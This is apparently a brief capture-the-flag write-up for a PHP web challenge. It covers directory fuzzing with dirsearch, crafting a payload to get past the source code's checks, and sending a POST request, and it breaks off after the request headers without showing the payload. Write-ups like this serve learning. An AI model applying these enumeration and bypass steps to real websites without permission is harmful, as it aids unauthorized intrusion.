1. Fuzz the website with /usr/share/wordlists/dirb/common.txt with php extension:	```python3 dirsearch.py -u URL -w /usr/share/wordlists/dirb/common.txt -e php```
2. After you get the source code, build your payload to get pass all of the conditions.    I've personally made a php script that generates the payload for me (get_payload.php)
3. Make a request with the generated payload, example:
```POST /index.php HTTP/1.1Host: challenge.ctf.games:31965User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://challenge.ctf.games:31965/Content-Type: application/x-www-form-urlencodedContent-Length: 42Connection: closeUpgrade-Insecure-Requests: 1
